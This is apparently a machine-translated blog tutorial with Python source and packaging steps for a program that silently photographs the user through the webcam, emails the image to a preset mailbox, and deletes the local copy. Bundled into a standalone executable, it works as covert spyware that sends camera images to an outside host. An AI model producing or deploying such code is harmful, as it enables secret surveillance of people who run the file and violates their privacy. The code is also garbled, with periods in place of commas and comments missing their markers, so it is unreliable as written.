Only for learning, I hope to provide you with the role of learning.

1. Install the library

Python3.5 or later is required and can be downloaded from the official website. Then install the library Opencv-Python by opening the terminal and entering the command line.

2. Change the recipient and sender to your own email address and change the authorization code

Method of obtaining an authorization code:

  1. Click Settings
  2. Click on the account
  3. Enable the POP3 / SMTP service
  4. Verify the encrypted
  5. The 16-bit authorization code is obtained

The first step: The second step:

Step 3:

Step four and five:

3. Compile to an executable file

Packing method:

  1. First installationpyinstaller, enter a value in the terminalpip install pyinstaller.
  2. Find the path, using CD method to find the path is more troublesome, you can directly in the path box inside the inputcmdEnter terminal, enter is the target path.

Package and enter the command line

Pyinstaller –console –onefile 7.py // Here is a package called 7.py

You can find the executables in the dist folder.

4. Source code and annotations

import os                    # Delete image files
import cv2                   # Call the camera to take a photo
from smtplib import SMTP_SSL          # SSL encrypted transport protocol
from email.mime.text import MIMEText      # Build the message text
from email.mime.multipart import MIMEMultipart # Build the email body
from email.header import Header         # Send content
 
 
# Call the camera to take a photo
def get_photo() :
  cap = cv2.VideoCapture(0)      # Enable camera
  f, frame = cap.read()        Save a frame of camera data
  cv2.imwrite('image.jpg', frame)   Save the image as a local file
  cap.release()            # Turn off camera
 
 
# Send the picture file to my email
def send_message() :
  # Select QQ email to send photos
  host_server = 'smtp.qq.com'     # QQ mail SMTP server
  pwd = '* * * * * * * * * * * * * * * *'      # authorization code
  from_qq_mail = '[email protected]'     # the sender
  to_qq_mail = '[email protected]'      # the recipient
  msg = MIMEMultipart()        Create an email with an attachment
 
  msg['Subject'] = Header('Camera photo'.'UTF-8')  # Message topic
  msg['From'] = from_qq_mail            # the sender
  msg['To'] = Header("YH".'UTF-8')        # the recipient
  msg.attach(MIMEText("Photos".'html'.'UTF-8'))  # Add email text message
 
  # Upload attachment to mailbox for SSL encryption
  image = MIMEText(open('image.jpg'.'rb').read(), 'base64'.'utf-8')
  image["Content-Type"] = 'image/jpeg'  The attachment format is encrypted data of the picture
  msg.attach(image)           # Add attachments
 
  # Start sending emails
  smtp = SMTP_SSL(host_server)      # link server
  smtp .login(from_qq_mail, pwd)     # Login email
  smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # send email
  smtp.quit()   # exit
 
 
if __name__ == '__main__':
  get_photo()         # Enable camera to get photos
  send_message()       # Send photos
  os.remove('image.jpg')   # Delete local photos
Copy the code

5. The effect is as follows

Finally experiment, you will get a bin suffix attachment, change it to JPG can be viewed.

Thanks for seeing you here. This is the end of sharing. For more Python content, please follow me on my homepage